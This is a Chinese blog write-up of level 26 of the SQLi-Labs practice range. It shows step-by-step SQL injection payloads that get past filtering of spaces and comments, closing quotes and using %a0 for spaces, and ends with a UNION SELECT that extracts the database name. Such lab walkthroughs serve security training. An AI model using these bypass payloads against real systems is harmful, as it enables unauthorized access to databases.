【SQL注入】靶场SQLI DUMB SERIES-26空格和注释被过滤

26题提示所有的空格和注释都会被过滤掉
image.png

  1. 输入?id=0'判断闭合方式,回显报错可以确定闭合方式为单引号

image.png

  1. 正常思路是需要通过注释符将后面的语句注释掉,但是这一关的注释符被过滤了,可以考虑使用将后面的语句也闭合的思路来避免引号带来的报错。输入?id=0’'发现不报错了

'0''' LIMIT 0,1其中0''是我们输入进去的字符
我们输入的第一个单引号和前面的单引号闭合,第二个单引号和后面的单引号闭合image.png

  1. 接下来的思路是使用联合注入union select 1,2,3判断字段个数,输入?id=100' union select 1,2,3'

发现空格都被注释
image.png

  1. 考虑使用%a0代替空格,输入?id=100'%a0union%a0select%a01,2,3'成功回显

image.png

  1. 将2或者3,替换为需要查询的语句,例如database()查询数据库名,输入?id=100'%a0union%a0select%a01,database(),3'

image.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值